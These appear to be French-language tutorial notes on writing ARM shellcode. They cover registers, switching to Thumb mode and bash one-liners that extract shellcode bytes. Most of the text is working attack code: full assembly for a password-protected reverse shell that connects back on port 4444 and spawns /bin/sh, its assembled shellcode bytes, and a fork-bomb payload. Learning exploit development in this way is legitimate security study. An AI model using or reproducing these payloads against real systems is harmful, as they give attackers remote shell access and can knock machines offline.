owned this note
owned this note
Published
Linked with GitHub
# ARM Shellcode writing
> :cat: *author* : __A. Whitesmoke#3556__, __RistBS#3185__
[ToC]
## Shellcode Writing Basics
Ces notes décrirons certaines techniques comme, comment utiliser une structure en ARM pour un reverse shell ou encore un Password-Protected Reverse Shell. On c'est permis de pas donner énormément de détails car on éstime que ceux qui lise ça on de bonne bases en prog C et asm.
**les registes:**
- `R0-R10` : Registres généraux
- `R11` : Frame Pointer (FP)
- `R12` : Intra Procedural Call (IPC)
- `R13` : Stack Pointer (SP)
- `R14` : Link Register (LR)
- `R15` : Program Counter/Instruction Pointer (PC)
ARM possède 2 modes, le mode Thumb possèdes des instructions en 16 bits et le mode ARM possèdes des instructions en 32 bits.
pour switch en Thumb mode voilà ce qu'il faut faire :
```arm
add r0, pc, #1
bx r0
// le code qui suivera sera en thumb mode
```
dans un premier temps on ajoute 1 à PC (Program Counter) puis on met le résultat dans r0. Pour la 2ème instruction on utilisera BX (Branch & Exchange) dans r0. si LSB=1 (bit de poid faible) alors on est en thumb mode.
![](https://i.imgur.com/z7tNUe5.png)
plusieurs techniques existent pour parse un shellcode :
1 - utilisation de awk et utilisation de **bash**
```bash=
for i in $(objdump -d hello | grep "^ "|awk -F"[\t]" '{print $2}'); do echo -n ${i:6:2}${i:4:2}${i:2:2}${i:0:2};done| sed 's/.\{2\}/\\x&/g'
```
2 - utilisation de regex pour le B16 + **ajout des double quotes**
```bash=
objdump -d hello |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
```
3 - utilisation de **hexdump** et **objcopy**
```bash=
objcopy -O binary fichier.bin fichier.dump && hexdump -v -e '"\\""x" 1/1 "%02x" ""' fichier.dump
```
![](https://i.imgur.com/VUjjIrl.png)
### Reverse Shell in ARM
![](https://i.imgur.com/xbUxAgq.png)
voici comment faire une structure en ARM :
```arm
adr r1, _sockaddr @ sockaddr struct
...
_sockaddr:
.hword 2 @ sin_family
.hword 0x5c11 // sin_port 4444
.word 0x100007f @ sin_addr 127.0.0.1
.byte 0,0,0,0,0,0,0,0 @ sin_zero
```
puis on utilise dup2() pour faire la redirection des sorties standards.
### Password-Protected Reverse Shell
```arm=
.section .text
.global _start
_start:
.arm
add r3, pc, #1
bx r3
.thumb
mov r0, #2
mov r1, #1
eor r2, r2
mov r7, #200
add r7, #81
svc #1
mov r10, r0
adr r1, target
strb r2, [r1, #1]
strb r2, [r1, #5]
strb r2, [r1, #6]
mov r2, #16
add r7, #2
svc #1
push {r1}
mov r1, sp
mov r2, #4
mov r7, #3
.read_pass:
mov r0, r10
svc #1
.check_pass:
ldr r3, pass
ldr r4, [r1]
eor r3, r3, r4
bne .read_pass
mov r1, #2
mov r7, #63
.loop_stdio:
mov r0, r10
svc #1
sub r1,#1
bpl .loop_stdio
adr r0, command
eor r2, r2
eor r1, r1
strb r2, [r0, #7]
mov r7, #11
svc #1
target:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 127,255,255,1
command: .ascii "/bin/sh?"
pass: .ascii "RistBS=aker"
```
si vous le saviez pas, malgé que les registres de r0 à r10 sont des registres pour un usage général, le registre r7 est utilisé pour identifier les NR des syscall.
ces caractère ascii `\x02\xff\x11\x5c` montre que nous utilisons le proto TCP en IPv4 sur le port 4444 (port de skid).
**Fonction `.read_pass` et `.check_pass` :**
pour la fonction read on va juste utiliser la structure C : `read(sourcefd, destbuffer, amount)`
`eor r3, r3, r4` = *r3=r3^r4*
`bne .read_pass` (Department if Not Equal) équivalement à JNE en x86. Cette instruction va jump à la lecture du mdp si c'est pas égal au premier args passé dans r1. (adresse de r1 récupéré et stocké dans r4)
```bash=
as ARM-reverse-shell.s -o ARM-reverse-shell.o && ld -N ARM-reverse-shell.o -o ARM-reverse-shell && objcopy -O binary ARM-reverse-shell ARM-reverse-shell.dump && hexdump -v -e '"\\""x" 1/1 "%02x" ""' ARM-reverse-shell.dump
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27\x51\x37\x01\xdf\x82\x46\x0e\xa1\x4a
\x70\x4a\x71\x8a\x71\x10\x22\x02\x37\x01\xdf\x02\xb4\x69\x46\x04\x22\x03\x27\x50\x46\x01\xdf\x0b\x4b\x0c\x68\x63\x40\xf9\xd1\x02\x21\x3f\x27\x50\x46\x01\xdf\x01\x39\xfb\xd5\x04\xa0\x52\x40\x49\x40\xc2
\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\x7f\xff\xff\x01\x2f\x62\x69\x6e\x2f\x73\x68\x3f\x53\x35\x39\x21
```
> Source : https://github.com/alanvivona/pwnshop/blob/master/src/0x15-ARM-shellcode/ARM-reverse-shell-with-auth.s
### Test Final : ForkBomb
| NR | Syscall Name | %r7 | arg0 (%r0) |
| ---- |:----------------------- | --- | ----
| 2 | fork | 0x02 | - |
```arm
.text
.global .start
.start:
.code 32
add r3, pc, #1
bx r3
.code 16
.loop:
eor r7, r7
add r7, #2
svc #1
mov r8, r8
bl .loop
```
![](https://i.imgur.com/GcsZD2P.png)
##### resources utiles :
- https://www.youtube.com/watch?v=9tx293lbGuc
- https://www.youtube.com/watch?v=c_jUELOScLc